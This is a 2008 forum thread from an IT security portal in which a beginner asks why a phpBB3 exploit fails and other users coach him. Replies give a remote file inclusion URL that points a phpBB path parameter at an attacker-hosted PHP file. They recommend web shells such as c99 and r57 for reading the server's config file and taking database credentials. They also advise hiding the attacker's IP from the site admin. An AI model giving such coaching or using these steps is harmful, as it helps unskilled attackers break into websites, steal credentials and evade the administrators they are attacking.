Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 29, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 777
Members: 0
Total: 777
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> SQL Injection PhpBB3
Post new topic  Reply to topic View previous topic :: View next topic 
SQL Injection PhpBB3
PostPosted: Wed Jun 04, 2008 1:34 pm Reply with quote
mantan
Beginner
Beginner
 
Joined: Jun 04, 2008
Posts: 2




Hi there Smile I recently attempted an SQL Injection using the following exploit...

http://www.milw0rm.com/exploits/5671

However, I can't get it to seem to work properly. I tried using different SQL functions, but I always get the error message "No input file specified."

The exploit does say that you need to input the link to a shell file (or something), but I'm not entirely sure what that means.

Anyone more experienced able to give me advice?
View user's profile Send private message
PostPosted: Thu Jun 05, 2008 1:47 am Reply with quote
gibbocool
Advanced user
Advanced user
 
Joined: Jan 22, 2008
Posts: 208




You need to link to the file you want to include.

So upload the file somewhere. or you can get WAMP and just link to your own pc, but of course this isn't very safe because admin will have your IP.

_________________
http://www.gibbocool.com
View user's profile Send private message Visit poster's website
PostPosted: Thu Jun 05, 2008 3:33 pm Reply with quote
mantan
Beginner
Beginner
 
Joined: Jun 04, 2008
Posts: 2




gibbocool wrote:
You need to link to the file you want to include.

So upload the file somewhere. or you can get WAMP and just link to your own pc, but of course this isn't very safe because admin will have your IP.


Thanks for the answer, however I'm still a little confused Smile

Firstly, what type of file would work? I'm assuming it'd need to be a PHP file with MySQL instructions. If I'm right, are there any examples of similar code that I could use to make the injection?

Secondly, once I've uploaded the file to a source, does that mean that I should post the hyperlink to it, after the URL, resulting in something like this...

/path/authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=http://www.mysite.com/test.php

Thanks for all your help Very Happy
View user's profile Send private message
PostPosted: Fri Jun 06, 2008 1:25 am Reply with quote
gibbocool
Advanced user
Advanced user
 
Joined: Jan 22, 2008
Posts: 208




Yes you would want a php file. In this case I would get a php shell such as c99, c100, r57 etc. Using that you can find the config file of the server which will have database username and password in it. Then you can use that to connect to the database, or just use the php shell to connect to the database. if you don't have a shell, just google there are plenty.
And yes just link to it like

/path/authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=http://www.mysite.com/test.php

_________________
http://www.gibbocool.com
View user's profile Send private message Visit poster's website
PostPosted: Fri Jun 06, 2008 9:01 am Reply with quote
mixman
Regular user
Regular user
 
Joined: Jun 03, 2008
Posts: 11
Location: Estonia,Tallinn




Dont you have to put something there?
/path/authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=http://www.mysite.com/test.php

Directory where file goes? Rolling Eyes
View user's profile Send private message
PostPosted: Fri Jun 06, 2008 11:41 am Reply with quote
lenny
Valuable expert
Valuable expert
 
Joined: May 15, 2008
Posts: 275




It;s a horribly documented exploit! I can't make anything out of it!
View user's profile Send private message
PostPosted: Tue Jun 10, 2008 7:58 am Reply with quote
y3dips
Valuable expert
Valuable expert
 
Joined: Feb 25, 2005
Posts: 281
Location: Indonesia




yes, true.. till u die, there will no sql statement take effect Smile

its a RFI bug, Remote file Inclusion!
read again slowly

regards
--
y3dips

_________________
IO::y3dips->new(http://clog.ammar.web.id);
View user's profile Send private message Visit poster's website Yahoo Messenger
SQL Injection PhpBB3
  www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.154 Seconds